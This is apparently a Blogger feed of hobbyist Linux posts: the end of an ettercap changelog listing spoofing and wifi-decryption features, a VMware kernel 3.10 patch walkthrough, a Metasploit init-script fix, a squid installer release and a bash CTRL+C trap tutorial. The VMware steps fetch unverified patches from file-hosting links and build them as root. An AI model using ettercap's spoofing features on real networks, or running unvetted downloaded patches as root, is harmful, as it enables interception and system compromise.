+ New WARN_MSG warning message<br />
+ Added message in DHCP spoofing when no mitm has started<br />
+ New horizontal scrollbar for messages in gtk view<br />
+ Disabled offload warning messages (only in Release mode)<br />
+ New ettercap-pkexec, policy and ettercap.desktop files for launching ettercap -G as a normal user with sudo privileges<br />
+ Automatic host list refresh in GTK GUI after scanning<br />
+ New fraggle plugin attack<br />
+ New fields in etter.fields file<br />
+ Cherry picked debian patches (svg icon)<br />
+ Added content print on http dissector<br />
+ Added support for negative dns replies<br />
+ Creation of (experimental) unit tests<br />
+ Creation of (experimental) libettercap<br />
+ Now you can build just the ettercap library (libettercap) without any GUIs<br />
+ Added travis-ci support<br />
+ DNS spoofing for IPv6 addresses<br />
+ PDF Docs generation is not optional<br />
+ Added SRV query handling to DNS spoof<br />
+ New mDNS spoof plugin<br />
+ New low level decoders<br />
+ New decoder for ip over pppoe<br />
+ Added PPP DLT to interfaces<br />
+ Add experimental Lua support to Ettercap<br />
+ New Bundle libnet and curl<br />
+ Full support for wifi decrypting (wep and wpa)<br />
<br />
<b>Removed</b><br />
- Disabled update feature (not working anymore and not secure)<br />
- Deprecated napster dissector<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-kkzBTewC2VM/UvtyXlHX5kI/AAAAAAAAAeE/HIU-VU5gEew/s1600/Screenshot+from+2014-02-12+20:06:43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-kkzBTewC2VM/UvtyXlHX5kI/AAAAAAAAAeE/HIU-VU5gEew/s1600/Screenshot+from+2014-02-12+20:06:43.png" height="202" width="320" /></a></div>
<br />
<br />
Grab the package <a href="https://drive.google.com/file/d/0B-5busctKRNZTm5EcmFtTGxmZ2M/edit?usp=sharing">here</a><br />
<br />
Enjoy your brand new ETTERCAP!Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com0tag:blogger.com,1999:blog-4322924474312123143.post-23488524034319926432013-10-11T14:13:00.000+07:002013-10-11T14:13:05.125+07:00[FIX] Dealing With VMWare Error on Kernel 3.10Hey guys. Have you tried kernel 3.10 on your Linux? Well, I'm trying now. And this morning, I got a little bit frustrated after a failure when I try to building new modules for my VMWare Player. NVIDIA driver is working in this kernel tho.<br />
<br />
After working around with this error, I found where everything just began. It's because when you building a new module for vmblock, it will do create_proc_entry() removal in favor of proc_create(). So I decide to share with you, how to deal with this new kernel. So you can use your VMWare again. Yay!<br />
<br />
1. Open your terminal (you can use terminator, or gnome-terminal, or xterm, or whatever your flavor)<br />
<br />
2. Make sure you've installed linux-headers-3.10-3-amd64 and linux-headers-3.10-3-common<br />
If you're not sure, type this on your terminal:<br />
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; box-sizing: border-box; color: green; font-family: Verdana, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black; box-sizing: border-box; color: #333333; font-family: Alef, Geneva, sans-serif; font-size: 11px; line-height: 17.59375px;">
<code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; display: block; height: auto; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; font-family: Monaco, Consolas, Courier, monospace; line-height: 18px;"><b style="box-sizing: border-box;"><span style="box-sizing: border-box; color: red;">root@kali</span><span style="box-sizing: border-box; color: lime;">:</span><span style="box-sizing: border-box; color: cyan;">~</span><span style="box-sizing: border-box; color: lime;">#</span><span style="box-sizing: border-box; color: cyan;"> </span></b></span><span style="box-sizing: border-box; color: lime; font-family: Monaco, Consolas, Courier, monospace;"><span style="box-sizing: border-box; line-height: 18px;"><b style="box-sizing: border-box;">apt-get install linux-headers-3.10-3-amd64 linux-headers-3.10-3-common</b></span></span></code></div>
<br />
3. Stop vmware service by typing this command on your terminal<br />
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; box-sizing: border-box; color: green; font-family: Verdana, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black; box-sizing: border-box; color: #333333; font-family: Alef, Geneva, sans-serif; font-size: 11px; line-height: 17.59375px;">
<code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; display: block; height: auto; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; font-family: Monaco, Consolas, Courier, monospace; line-height: 18px;"><b style="box-sizing: border-box;"><span style="box-sizing: border-box; color: red;">root@kali</span><span style="box-sizing: border-box; color: lime;">:</span><span style="box-sizing: border-box; color: cyan;">~</span><span style="box-sizing: border-box; color: lime;">#</span><span style="box-sizing: border-box; color: cyan;"> </span></b></span><span style="box-sizing: border-box; color: lime; font-family: Monaco, Consolas, Courier, monospace;"><span style="box-sizing: border-box; line-height: 18px;"><b style="box-sizing: border-box;">service vmware stop</b></span></span></code></div>
<br />
4. Download patches to patch your old vmware source (WARNING: IF YOU PATCH YOUR VMWARE SOURCE, IT MIGHT NOT WORK ANYMORE WITH YOUR OLDER KERNEL. DO WITH YOUR OWN RISK!)<br />
<br />
a. Patch for vmnet source<br />
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; box-sizing: border-box; color: green; font-family: Verdana, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black; box-sizing: border-box; color: #333333; font-family: Alef, Geneva, sans-serif; font-size: 11px; line-height: 17.59375px;">
<code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; display: block; height: auto; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; font-family: Monaco, Consolas, Courier, monospace; line-height: 18px;"><b style="box-sizing: border-box;"><span style="box-sizing: border-box; color: red;">root@kali</span><span style="box-sizing: border-box; color: lime;">:</span><span style="box-sizing: border-box; color: cyan;">~</span><span style="box-sizing: border-box; color: lime;">#</span><span style="box-sizing: border-box; color: cyan;"> </span></b></span><span style="box-sizing: border-box; color: lime; font-family: Monaco, Consolas, Courier, monospace;"><span style="box-sizing: border-box; line-height: 18px;"><b style="box-sizing: border-box;">cd /tmp/ ; curl -O http://download1504.mediafire.com/1hjabvhjhhmg/p01zil23et23p16/vmnet-9.0.2-5.0.2-3.10.patch </b></span></span></code></div>
<br />
b. Patch for vmblock source<br />
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; box-sizing: border-box; color: green; font-family: Verdana, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black; box-sizing: border-box; color: #333333; font-family: Alef, Geneva, sans-serif; font-size: 11px; line-height: 17.59375px;">
<code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; display: block; height: auto; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; font-family: Monaco, Consolas, Courier, monospace; line-height: 18px;"><b style="box-sizing: border-box;"><span style="box-sizing: border-box; color: red;">root@kali</span><span style="box-sizing: border-box; color: lime;">:</span><span style="box-sizing: border-box; color: cyan;">~</span><span style="box-sizing: border-box; color: lime;">#</span><span style="box-sizing: border-box; color: cyan;"> </span></b></span><span style="box-sizing: border-box; color: lime; font-family: Monaco, Consolas, Courier, monospace;"><span style="box-sizing: border-box; line-height: 18px;"><b style="box-sizing: border-box;">cd /tmp/ ; curl -O http://download1338.mediafire.com/cchmnk8dnyog/iqff11seyebt0bd/vmblock-9.0.2-5.0.2-3.10.patch</b></span></span></code></div>
<br />
<br />
5. Patch your old vmware source<br />
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; box-sizing: border-box; color: green; font-family: Verdana, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black; box-sizing: border-box; color: #333333; font-family: Alef, Geneva, sans-serif; font-size: 11px; line-height: 17.59375px;">
<code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; display: block; height: auto; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; font-family: Monaco, Consolas, Courier, monospace; line-height: 18px;"><b style="box-sizing: border-box;"><span style="box-sizing: border-box; color: red;">root@kali</span><span style="box-sizing: border-box; color: lime;">:</span><span style="box-sizing: border-box; color: cyan;">~</span><span style="box-sizing: border-box; color: lime;">#</span><span style="box-sizing: border-box; color: cyan;"> </span></b></span><span style="box-sizing: border-box; color: lime; font-family: Monaco, Consolas, Courier, monospace;"><span style="box-sizing: border-box; line-height: 18px;"><b style="box-sizing: border-box;">cd /usr/lib/vmware/modules/source</b></span></span></code><code style="box-sizing: border-box; display: block; height: auto; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: lime; font-family: Monaco, Consolas, Courier, monospace;"><span style="box-sizing: border-box; line-height: 18px;"><b style="box-sizing: border-box;"><span style="color: red;">root@kali</span>:<span style="color: cyan;">~</span># tar -xvf vmblock.tar<br /><span style="color: red;">root@kali</span>:<span style="color: cyan;">~</span># tar -xvf vmnet.tar<br /><span style="color: red;">root@kali</span>:<span style="color: cyan;">~</span># patch -p0 -i /tmp/vmblock-9.0.2-5.0.2-3.10.patch<br /><span style="color: red;">root@kali</span>:<span style="color: cyan;">~</span># patch -p0 -i /tmp/vmnet-9.0.2-5.0.2-3.10.patch<br /><span style="color: red;">root@kali</span>:<span style="color: cyan;">~</span># tar -cf vmblock.tar vmblock-only<br /><span style="color: red;">root@kali</span>:<span style="color: cyan;">~</span># tar -cf vmnet.tar vmnet-only<br /><span style="color: red;">root@kali</span>:<span style="color: cyan;">~</span># rm -r vmblock-only<br /><span style="color: red;">root@kali</span>:<span style="color: cyan;">~</span># rm -r vmnet-only</b></span></span></code></div>
<br />
6. Reinstall your new vmware modules<br />
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; box-sizing: border-box; color: green; font-family: Verdana, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black; box-sizing: border-box; color: #333333; font-family: Alef, Geneva, sans-serif; font-size: 11px; line-height: 17.59375px;">
<code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"></span></code><code style="box-sizing: border-box; display: block; height: auto; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; font-family: Monaco, Consolas, Courier, monospace; line-height: 18px;"><b style="box-sizing: border-box;"><span style="box-sizing: border-box; color: red;">root@kali</span><span style="box-sizing: border-box; color: lime;">:</span><span style="box-sizing: border-box; color: cyan;">~</span><span style="box-sizing: border-box; color: lime;">#</span><span style="box-sizing: border-box; color: cyan;"> </span></b></span><span style="box-sizing: border-box; color: lime; font-family: Monaco, Consolas, Courier, monospace;"><span style="box-sizing: border-box; line-height: 18px;"><b style="box-sizing: border-box;">vmware-modconfig --console --install-all</b></span></span></code></div>
<br />
That's it! Enjoy your VMWare on your new kernel!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-XYQKUOmcZRc/UlekwoTyfNI/AAAAAAAAAU0/DadkIAbCn1g/s1600/11102013-11:34-scrot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="http://1.bp.blogspot.com/-XYQKUOmcZRc/UlekwoTyfNI/AAAAAAAAAU0/DadkIAbCn1g/s320/11102013-11:34-scrot.png" width="320" /></a></div>
Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com0tag:blogger.com,1999:blog-4322924474312123143.post-76757313519761343232013-10-05T21:13:00.000+07:002013-10-05T21:14:45.846+07:00[FIX] Script metasploit is broken: missing end of LSB commentIf you have seen this issue after you try to install something, simply do this to fix it. First, find out what is your metasploit init script look like.<br />
<br />
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; box-sizing: border-box; color: green; font-family: Verdana, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black; box-sizing: border-box; color: #333333; font-family: Alef, Geneva, sans-serif; font-size: 11px; line-height: 17.59375px;">
<code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"><b style="box-sizing: border-box;"></b></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"><b style="box-sizing: border-box;"></b></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"><b style="box-sizing: border-box;"></b></span></code><code style="box-sizing: border-box; display: block; height: auto; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; font-family: Monaco, Consolas, Courier, monospace; line-height: 18px;"><b style="box-sizing: border-box;"><span style="box-sizing: border-box; color: red;">root@kali</span><span style="box-sizing: border-box; color: lime;">:</span><span style="box-sizing: border-box; color: cyan;">~</span><span style="box-sizing: border-box; color: lime;">#</span><span style="box-sizing: border-box; color: cyan;"> </span></b></span><span style="box-sizing: border-box; color: lime; font-family: Monaco, Consolas, Courier, monospace;"><span style="box-sizing: border-box; line-height: 18px;"><b style="box-sizing: border-box;">cat /etc/init.d/metasploit</b></span></span></code></div>
<br />
You will see this result<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">#! /bin/sh</span><br />
<span style="font-family: Courier New, Courier, monospace;">### BEGIN INIT INFO</span><br />
<span style="font-family: Courier New, Courier, monospace;"># Provides: metasploit</span><br />
<span style="font-family: Courier New, Courier, monospace;"># Required-Start: $remote_fs $syslog</span><br />
<span style="font-family: Courier New, Courier, monospace;"># Required-Stop: $remote_fs $syslog</span><br />
<span style="font-family: Courier New, Courier, monospace;"># Default-Start: 2 3 4 5</span><br />
<span style="font-family: Courier New, Courier, monospace;"># Default-Stop: 0 1 6</span><br />
<span style="font-family: Courier New, Courier, monospace;"># Short-Description: Example initscript</span><br />
<span style="font-family: Courier New, Courier, monospace;"># Description: This file should be used to construct scripts to be</span><br />
<span style="font-family: Courier New, Courier, monospace;"># placed in /etc/init.d.</span><br />
<span style="font-family: Courier New, Courier, monospace;"># chkconfig: 2345 80 30</span><br />
<span style="font-family: Courier New, Courier, monospace;"># description: Metasploit</span><br />
<span style="font-family: Courier New, Courier, monospace;">#</span><br />
<span style="font-family: Courier New, Courier, monospace;">exec /opt/metasploit/ctlscript.sh "$@"</span><br />
<div>
<br /></div>
<div>
The issue is happened because the script has no end of LSB comment. I'm little bit curious, what is lSB comment look like. So I see the other init script to find out about LSB comment. I look MySQL's.</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#!/bin/bash</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">### BEGIN INIT INFO</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Provides: mysql</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Required-Start: $remote_fs $syslog</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Required-Stop: $remote_fs $syslog</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Should-Start: $network $time</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Should-Stop: $network $time</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Default-Start: 2 3 4 5</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Default-Stop: 0 1 6</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Short-Description: Start and stop the mysql database server daemon</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Description: Controls the main MySQL database server daemon "mysqld"</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># and its wrapper script "mysqld_safe".</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b>### END INIT INFO</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">set -e</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">set -u</span></div>
</div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><snip></span></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> *)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>echo "Usage: $SELF start|stop|restart|reload|force-reload|status"</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>exit 1</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>;;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">esac</span></div>
</div>
<div>
<br /></div>
<div>
See the different? YES! MySQL init script has END INIT INFO, in the other side, metasploit don't have any. So I try to insert END INIT INFO at metasploit init script. Now it just look like this:</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#! /bin/sh</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">### BEGIN INIT INFO</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Provides: metasploit</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Required-Start: $remote_fs $syslog</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Required-Stop: $remote_fs $syslog</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Default-Start: 2 3 4 5</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Default-Stop: 0 1 6</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Short-Description: Example initscript</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># Description: This file should be used to construct scripts to be</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># placed in /etc/init.d.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># chkconfig: 2345 80 30</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"># description: Metasploit</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#</span></div>
<div>
<b><span style="font-family: Courier New, Courier, monospace;">### END INIT INFO</span></b></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">exec /opt/metasploit/ctlscript.sh "$@"</span></div>
</div>
<div>
<br /></div>
<div>
And everything is OK now. Do apt-get install -f after you edit and save the file.</div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; box-sizing: border-box; color: green; font-family: Verdana, Arial, sans-serif; font-size: 11px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black; box-sizing: border-box; color: #333333; font-family: Alef, Geneva, sans-serif; font-size: 11px; line-height: 17.59375px;">
<code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"><b style="box-sizing: border-box;"></b></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"><b style="box-sizing: border-box;"></b></span></code><code style="box-sizing: border-box; color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; color: red; font-family: Monaco, Consolas, Courier, monospace;"><b style="box-sizing: border-box;"></b></span></code><code style="box-sizing: border-box; display: block; height: auto; max-height: 200px; overflow: auto;"><span style="box-sizing: border-box; font-family: Monaco, Consolas, Courier, monospace; line-height: 18px;"><b style="box-sizing: border-box;"><span style="box-sizing: border-box; color: red;">root@kali</span><span style="box-sizing: border-box; color: lime;">:</span><span style="box-sizing: border-box; color: cyan;">~</span><span style="box-sizing: border-box; color: lime;">#</span><span style="box-sizing: border-box; color: cyan;"> </span></b></span><span style="box-sizing: border-box; color: lime; font-family: Monaco, Consolas, Courier, monospace;"><span style="box-sizing: border-box; line-height: 18px;"><b style="box-sizing: border-box;">apt-get install -f</b></span></span></code></div>
</div>
Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com0tag:blogger.com,1999:blog-4322924474312123143.post-24470704549362522522013-06-14T15:23:00.003+07:002013-06-14T15:23:53.561+07:00SQUID LUSCA HEAD Installer Alpha 1 Has Been Released!Last week, I decide to made simple bash script to install SQUID LUSCA HEAD automatically. After 3 - 4 days work hardly to finish it, today I decide to push latest source code to my <a href="https://github.com/omegahanggara/squid-lusca-installer">repository</a>. It's still Alpha 1, which mean it's very unstable. You may encounter several bugs from it, but it's not harmful to your system tho. Please, give a try!<br />
<br />
<span style="font-size: large;"><i>And YES! This is FULLY AUTOMATIC, once you execute it, you'll be able to use the most powerful SQUID LUSCA HEAD on your OS!</i></span><br />
<br />
How to<br />
<br />
<a name='more'></a><b>1. Download the code:</b><br />
<br />
<span style="font-family: Courier New, Courier, monospace;">$ git clone git@github.com:omegahanggara/squid-lusca-installer.git</span><br />
<br />
<br />
<b>2. Launch the code</b><br />
<br />
<span style="font-family: Courier New, Courier, monospace;">$ cd squid-lusca-installer</span><br />
<span style="font-family: Courier New, Courier, monospace;">$ sudo bash squid-lusca-installer</span><br />
<br />
Known bug:<br />
<br />
<ol>
<li>This script won't run on arch-like linux OS, but I'm promise I'll make this script being able to used by arch user.</li>
<li>This script won't run without root privilege, that because configuration and installing will requiring root privilege. But I'm promise, I'll update the code, so you can run this script without root permission, but you may provide "sudo" password tho.</li>
</ol>
Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com9tag:blogger.com,1999:blog-4322924474312123143.post-68515383233311535232013-06-03T13:26:00.001+07:002013-06-03T13:27:30.507+07:00Trapping CTRL C in Bash ScriptingHey guys... I wanna share something with shell scripting. In this case, my shell is bash which you can find on any Linux platform.<span class="fullpost">
</span><br />
<div>
<br /></div>
<div>
So, let's talk about bash scripting. You may wonder, how to prevent CTRL+C to interrupt your shell script? But it depend on something actually. How long your bash script? If it just took 1-3 seconds, you may don't need this function actually. But, how about if it took 10 - 60 seconds to finish? It will be "fatal" it's interrupted by CTRL+C, especially in critical function.</div>
<a name='more'></a><br />
<div>
I got the script like this</div>
<div>
<br /></div>
<div>
<pre class="brush: shell;">#!/bin/bash
while sleep 1; do
echo "I'm still alive"
done
</pre>
<div>
<br />
This script will spawn output "I'm still alive" EVERY second. And exit 0 will never be reach, which means this script will never been finish FOREVER, EXCEPT you interrupt it by pressing CTRL+C or CTRL+Z.</div>
<div>
<br /></div>
<div>
How to tell if CTRL+C is pressed?</div>
<div>
<br /></div>
<div>
Well let's start from trap function. Let's add trap function in this script.</div>
<div>
<br /></div>
<div>
<div>
<pre class="brush: shell;">#!/bin/bash
interrupt()
{
echo "CTRL C is being pressed"
}
trap 'interrupt' INT
while true; do
echo "I'm still alive"
done
</pre>
<div>
<br />
When we press CTRL C</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-B96SyGQEx2w/UawzIZ0ca6I/AAAAAAAAARA/P8RWPyxNRS8/s1600/Screenshot+from+2013-06-03+13:08:55.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="190" src="http://1.bp.blogspot.com/-B96SyGQEx2w/UawzIZ0ca6I/AAAAAAAAARA/P8RWPyxNRS8/s320/Screenshot+from+2013-06-03+13:08:55.png" width="320" /></a></div>
<div>
CTRL C is being pressed, however the script still running. You can stop this by pressing CTRL + Z, then CTRL + D.</div>
<div>
<br /></div>
<div>
